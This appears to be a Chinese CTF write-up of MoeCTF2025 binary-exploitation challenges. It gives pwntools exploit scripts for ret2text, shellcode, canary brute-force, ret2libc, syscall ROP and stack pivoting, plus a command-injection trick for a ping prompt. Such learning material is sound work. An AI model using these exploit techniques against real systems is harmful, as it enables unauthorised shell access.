MoeCTF2025 PWN做题笔记,笔者根据难易适当进行了排序,欢迎大家参考交流。
EZtext 简单的ret2text,覆盖buf、rbp,栈对齐,后门函数
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) p = remote("172.30.48.1" ,58296 ) treasure = 0x4011B6 ret_addr = 0x40122D payload = b'A' *16 + p64(ret_addr) + p64(treasure) p.recvuntil(b'stack?' ) p.sendline(str (50 )) p.sendline(payload) p.interactive()
ezshellcode 简单的shellcode 一个汇编码转机器码的网站Online x86 and x64 Intel Instruction Assembler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' , terminal=['tmux' , 'splitw' , '-h' ]) p = process('./pwn' ) p.sendline(b'4' ) p.recvuntil(b'permissions you just set.' ) shellcode = '''mov rbx, 0x68732f6e69622f push rbx push rsp pop rdi xor esi, esi xor edx, edx push 0x3b pop rax syscall ''' shellcode=asm(shellcode) p.send(shellcode) p.interactive()
认识libc 一个libc板子 见ezlibc
str_check
相信你已经在指北中了解到c风格字符串以’\0’结尾的特点。学习各种字符串操作对’\0’的处理,你才能完美地利用程序中的漏洞。
使用\x00截断字符串,字符串前4是moew,ret2textljust原数据靠左 ,rjust原数据靠右,都用来填充字节。
1 2 3 4 5 6 7 8 9 10 from pwn import *context.log_level='debug' p=remote('192.168.50.1' ,53500 ) elf = ELF('./pwn' ) backdoor=0x40123b payload=b'moew\x00' .ljust(0x20 +8 ,b'a' )+p64(backdoor) p.sendlineafter(b'say?' ,payload) p.sendlineafter('?' ,b'200' ) p.interactive()
xdulake
怎么有个大一新生走到湖里了? 栈上的数据不会无缘无故地被清理,你能根据这个信息拯救/成为laker吗?
注意到有后门函数。pull()中泄露PIE基址,photo()可以读64个字节,laker()将s1与"xdulaker"比较,相同则通过。
1 2 3 4 5 6 7 8 9 10 11 12 13 int photo () { char buf[80 ]; ... read(0 , buf, 0x40u LL); ... } ssize_t laker () { char s1[48 ]; if ( memcmp (s1, "xdulaker" , 8uLL ) ) ... }
photo()申请了0x50的栈空间,rbp-50h,写入了0x40字节的数据。laker()中s1从rbp-30h开始比较,这里简单验证一下
1 2 3 4 5 Hey,what's your name?! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxdulaker I will teach you a lesson. >3 welcome,xdulaker
通过验证,接下来是熟悉的ret2text了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context.log_level ='debug' elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) p = remote('192.168.50.1' ,59868 ) p.sendlineafter(b'>' ,b'1' ) p.recvuntil(b'gift:' ) leak_opt = int ((p.recv(14 )),16 ) pie_base=leak_opt - 0x4010 bkd=pie_base+0x124E log.success(hex (pie_base)) p.sendlineafter(b'>' ,b'2' ) payload1 = b'a' *0x20 + b'xdulaker' p.sendafter(b'your name?!\n' ,payload1) p.sendlineafter(b'>' ,b'3' ) p.recvline() payload2 = b'a' *48 + b'SNOWCATT' + p64(bkd) p.sendline(payload2) p.interactive()
boom
你可以轻易爆破我们的系统,但是一个不可泄露的“canary”你又该如何应对?
人工canary,提供了win函数,提示可以使用python的ctypes包 ctypes可以调用C库函数,于是使用ctypes加载libc init()中有v0 = time(0LL),使time=0,
1 2 3 char s[124 ]; int v5; int v6;
先填充0x90-0x14,再填充canary,再填充16+8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *import ctypesimport timep = remote('192.168.50.1' , 58472 ) libc = ctypes.CDLL('libc.so.6' ) libc.srand(int (time.time())) canary = libc.rand() % 114514 backdoor = 0x401276 ret = 0x40101a p.sendlineafter(b'(y/n)' , b'y' ) payload = b'a' * 124 + p32(canary) + b'a' *24 +p64(ret)+ p64(backdoor) p.sendlineafter(b'Enter your message: ' , payload) p.interactive()
boom_revenge 同上 (为什么重复几次才成功?)🤔
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *import ctypesimport timep = remote('192.168.50.1' , 62171 ) libc = ctypes.CDLL('libc.so.6' ) libc.srand(int (time.time())) canary = libc.rand() % 114514 backdoor = 0x401276 ret = 0x40101a p.sendlineafter(b'(y/n)' , b'y' ) payload = b'a' * 124 + p32(canary) + b'a' *24 +p64(ret)+ p64(backdoor) p.sendlineafter(b'Enter your message: ' , payload) p.interactive()
ezlibc
相信做了前面题的你,已经初步开始了解我们如何利用栈溢出来控制程序的执行流程了。在这道题,你将理解动态链接与延迟绑定,这里开启了ASLR和PIE,但是,我给了你一个小礼物来应对两个防护,务必妥善保管! 这个礼物某种情况下还会发生改变,成为另一种神兵利器,至于怎么改变,就要靠你自己去摸索了!
建议你利用gdb,完整的跟踪一下整个动态链接和延迟绑定的过程,这样你能更了解它究竟是怎么完成这个工作的,同时有助于你更加的了解ret2libc这种攻击。
开启了PIE,显然可以通过read泄露PIE基址,这里注意一下延迟绑定,还需要泄露libc,于是返回泄露libc。 当采用动态链接以及延迟绑定之后,程序初加载的时候,并不知道诸如read等libc函数的实际加载地址,此时需要通过该机制进行解析之后,才会填入got表。即延迟绑定下 got 表初始值是 plt_resolve 地址 现在你掌握ret2libc了,以及pwntools查找libc中函数和字符串的方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context.log_level='debug' elf=ELF('./pwn' ) libc=ELF('./libc.so.6' ) p=remote("192.168.50.1" ,65064 ) p.recvuntil("use " ) leak_read=int ((p.recv(14 )),16 ) pie_base=leak_read-0x1060 start=pie_base+0x10c0 payload=b"A" *40 +p64(start) p.send(payload) p.recvuntil("use " ) leak_read2 = int (p.recv(14 ),16 ) libc_base=leak_read2-libc.symbols['read' ] system=libc_base+libc.symbols['system' ] bin_sh=libc_base+next (libc.search(b'/bin/sh' )) pop_rdi=libc_base+0x2a3e5 ret=pie_base+0x101a payload=b"a" *40 +p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system) p.send(payload) p.interactive()
inject
一般来说 Pwn challenges 都以内存损坏漏洞为主。然而 binary 程序有很多漏洞不需要内存越界读写,开再多的保护也防不住,程序员即使换用 Rust 等内存安全语言也可能犯相同的错误。这种漏洞利用起来简单,危害可能还更大?!
这是Rust写的吗 使用#注释-c 4 或第一个sh执行第二个sh ping sh -c sh -c 4
1 2 3 4 5 6 7 8 from pwn import *p=remote('192.168.50.1' , 52971 ) p.sendlineafter('Your choice: ' ,str (4 )) p.sendafter('Enter host to ping: ' ,payload) p.interactive()
randomlock
诸如rand之类的函数,生成的数列虽然看起来是随机的,但实际上是由一个确定的算法产生的,因此称为“伪随机”。那么只要种子固定,我们不就可以得到固定的数列了吗? 当然,我这道锁的种子可是经过”真随机”与”加密”两道工序,至少看起来没那么容易破解?
猜测seed是1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *import ctypeslibc = ctypes.CDLL("libc.so.6" ) libc.srand(1 ) p = remote('192.168.50.1' ,62581 ) p.recvuntil(b">" ) for i in range (10 ): r = libc.rand() % 10000 p.sendline(str (r).encode()) if i < 9 : p.recvuntil(b">" ) print (p.recvall())
syslock
系统调用是什么?system 函数使用了什么系统调用来启动一个 shell 子进程?如何进行系统调用?
很善良地提供了一些gadget,lose()中也有syscall。 还需要自己读进去/bin/sh,注意力涣散 的笔者注意到了main()的逻辑是i <= 4&&i == 59,
1 2 3 4 5 6 7 8 i = input(); if ( i > 4 ) lose(); write(1 , "Input your password\n" , 0x14u LL); read(0 , (char *)&s + i, 0xCu LL); if ( i != 59 ) lose(); cheat();
59暗示系统调用号 ,这里不需要直接覆盖返回地址,而是利用数组下标越界修改全局变量。 查看.bss段i的地址是0x404080s的地址是0x4040a0 差是0x20,也就是&s+-32指向i,修改使其为59。 在cheat()中覆盖,注意到还没有读入/bin/sh 因为没有注意到main()中能读12字节,笔者在cheat()中读入/bin/sh。😭😭😭注意力涣散 一个查询系统调用号的网站https:/syscall.sh/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context.arch = 'amd64' context.log_level = 'debug' elf = ELF('./pwn' ) p = remote('192.168.50.1' ,54928 ) pop_rdi_rsi_rdx = 0x401240 pop_rax = 0x401244 syscall = 0x401230 read_plt = 0x4010A0 s_addr = 0x4040A0 p.sendlineafter(b'choose mode\n' ,b'-32' ) p.recvuntil(b'Input your password' ) p.send(p64(59 )) payload = b'a' *64 payload += b'SNOWCATT' payload += p64(pop_rdi_rsi_rdx) payload += p64(0 ) + p64(s_addr) + p64(8 ) payload += p64(read_plt) payload += p64(pop_rdi_rsi_rdx) payload += p64(s_addr) + p64(0 ) + p64(0 ) payload += p64(pop_rax) + p64(59 ) payload += p64(syscall) p.recvuntil(b'Developer Mode.\n' ) p.send(payload) sleep(0.1 ) p.send(b"/bin/sh\x00" ) p.interactive()
main()中read能读12字节,使用p32发送59,8字节/bin/sh\x00,不需要再调用read,这里不再给出exp。
ezprotection
你们这些 pwner,天天就想着溢出,这次我放了一只 canary 在这里,它会一直盯着你,直到永远!
填满buf覆盖\x00泄露canary,循环攻击爆破canary,空间不够就使用p16
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context.log_level = 'debug' bkd = 0x127D while True : p = remote('192.168.50.1' ,59263 ) try : p.sendafter(b'over you.\n' ,b'A' *25 ) p.recvuntil(b'A' *25 ) canary = u64(p.recv(7 ).rjust(8 , b'\x00' )) log.success(f"Leaked canary: {hex (canary)} " ) payload = b"a" *24 + p64(canary) + b'SNOWCATT' + p16(bkd) p.sendline(payload) except : print ("error" ,end=' ' ) else : p.interactive() continue
ezpivot
不是每一次我们都能遇到足够长的缓冲区溢出。这一次,只能溢出一点点,那你该怎么办呢?栈迁移就是解决这个问题的一个手段,通过栈迁移我们能获得足够的栈空间,但是请注意迁移之后的栈布局。
栈迁移的一个方法是两次leave; retn 把提前布置好的rop链放到后面再执行的操作就叫做栈风水
mian()中读取了一个整数v4,注意到v4>32则退出,introduce()中会向.bss段的desc读v4字节。要把.bss伪造成一个栈,越大越好。
1 2 3 4 5 6 7 8 9 lea rax, [rbp+var_10] mov rsi, rax lea rax, aD ; "%d" mov rdi, rax call ___isoc99_scanf ... mov eax, [rbp+var_10] cmp eax, 20h ; 0x20 = 32 jle short loc_401306 ; 如果 eax <= 32 则跳转
这里发现read()的参数是nbytes如果是一个负数,那它会被认为是一个巨大的正数。
1 2 3 4 5 6 7 8 9 10 push rbp mov rbp, rsp sub rsp, 10h mov dword ptr [rbp+nbytes], edi mov eax, dword ptr [rbp+nbytes] mov rdx, rax ; nbytes lea rax, desc mov rsi, rax ; buf mov edi, 0 ; fd call _read
main()的末尾:
1 2 3 4 5 mov eax, cs:len_of_phonenum ;这里是0x1C = 28 movsxd rdx, eax ;nbytes lea rax, [rbp+buf] ;buf mov rsi, rax call _read
buf12字节,覆盖rbp8字节,剩下8字节正好覆盖返回地址。 笔者先用introduce()在.bss段布置好rop链,再将返回地址覆盖为leave; retn。 当我们在返回地址处放一个 leave; ret,而之前又通过溢出修改了 rbp 时,程序会执行第二次 leave,这时 rsp 就会被强行拉到我们指定的 .bss 地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] p = remote('192.168.50.1' ,50126 ) p.sendlineafter(b'of your introduction.' ,b'-1' ) pop_rdi = 0x401219 system = 0x401230 desc = 0x404060 ret = 0x40101a leave = 0x40120f payload = b'/bin/sh\x00' + b'\x00' *(0x600 -8 +0x100 ) + p64(0x404600 ) + p64(0x404600 ) payload += p64(pop_rdi) + p64(0x404060 ) + p64(ret) + p64(system) p.send(payload) payload1 = b'a' * 12 + p64(0x404660 -8 +0x100 +0x10 ) + p64(leave) p.sendafter(b'lease tell us your phone number:' , payload1) p.interactive()
地址 0x404660-8+0x100+0x10:首先rbp被赋值为这个地址,第二个leave时,rsp变为这个地址,紧接着 pop rbp 会让 rsp + 8,这样使rsp指向payload中pop rdi的位置。
填充了大量\x00并将ROP放在远离desc开头,避免后续函数调用产生的栈帧覆盖掉我们写的东西。
这个题是一个栈迁移的入门题,希望新手在入门栈迁移的时候,不要用自己大脑模拟,多调试多跟踪,exp一步一步的写,然后去观察rbp以及rsp的变化,此时才能对于迁移的过程更加了然于胸,这里的坑是,首先,当system调用的时候,需要预留好栈空间,如果栈空间不足,当迁移到bss段之后,一些指令会访问或者甚至修改到只读的代码段,引起段错误,我注意到很多锤的同学,他们抬高栈的手段是硬生生输入诸如0x600个a,其实无需这么麻烦,并且太大量的输入会导致打远程的时候,出现io问题,直接玄学报错,你要注意到,read在读取的时候,是用rbp寻址的,因此当你控制了rbp之后,就可以直接任意地址写了,此时直接写到高地址即可,另一个坑的话,就是,当你迁移之后,执行system之前,一定要注意rbp的有效性,很多同学将rsp迁移过来之后,就对rbp不管不顾了,此时rbp相关的指令在访存的时候,会因为rbp是一个无效的值而引起段错误。
fmt_S
fmt竟离开了栈,我能依赖的,也许只有栈上现有的指针了?
检查一下文件保护,发现开启了 Canary 和 NX ,没有开启 PIE。
逆向分析如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 unsigned __int64 he () { char command[6 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); qmemcpy(command, "a_flag" , sizeof (command)); puts ("The monster is defeated, and you obtain: flag?" ); system(command); return v2 - __readfsqword(0x28u ); } size_t __fastcall my_read (_BYTE *a1, size_t a2) { a1[read(0 , a1, a2)] = 0 ; return strlen (a1); } int __fastcall main (int argc, const char **argv, const char **envp) { int i; init(argc, argv, envp); puts ("You're walking down the road when a monster appear." ); for ( i = 1 ; i <= 3 && !flag; ++i ) talk(); if ( (unsigned __int64)atk <= 0x1BF52 ) puts ("You've been eaten by the monster." ); else he(); return 0 ; } size_t talk () { puts ("You start talking to him..." ); flag ^= 1u ; read(0 , fmt, 0x20u ); printf (fmt); puts ("?" ); puts ("You enraged the monster-prepare for battle!" ); return my_read(&atk, 8u ); }
注意到 talk() 中有明显的格式化字符串漏洞。 0x4040C0 处的全局变量 fmt ,0x4040A0 处的全局变量 atk 和 0x4040A8 处的全局变量 flag,
my_read() 会向 atk 处读取8个字节并在末尾添加 0,
fmt_T
越来越热 • “深入洞穴探险,到达熔火地狱。”
开启了栈保护。
1 2 fgets(s, 6 , stdin ); printf (s);
明显的格式化字符串漏洞,
hardpivot
一次的栈迁移似乎不够用了,你要怎样才能再次迁移呢?如何布局栈才能拿到这一题的 flag 呢?这一次,你需要把前面的知识融会贯通,才能在这一题成功。加油!
shellbox
沙箱保护、静态链接…I have an idea.
No way to leak!
有些时候,明明随便劫持程序控制流程,但是你却怎么也泄露不出什么东西,只能干着急,这时候,不如试着去了解一下ret2dlresolve这个技术吧,拿到这题的flag,不该成为你的目的,你的目的应该是,在做这个题的过程中,跟着GDB,再重新了解一下动态链接,仔细的跟踪一下它究竟是怎么解析出符号的(并不是像前面的ret2libc一样,只浅浅的了解,不妨跟踪一下从_dl_runtime_resolve函数开始的解析过程),相信你会受益匪浅!
call it
省流:JOP 攻击
to be continued…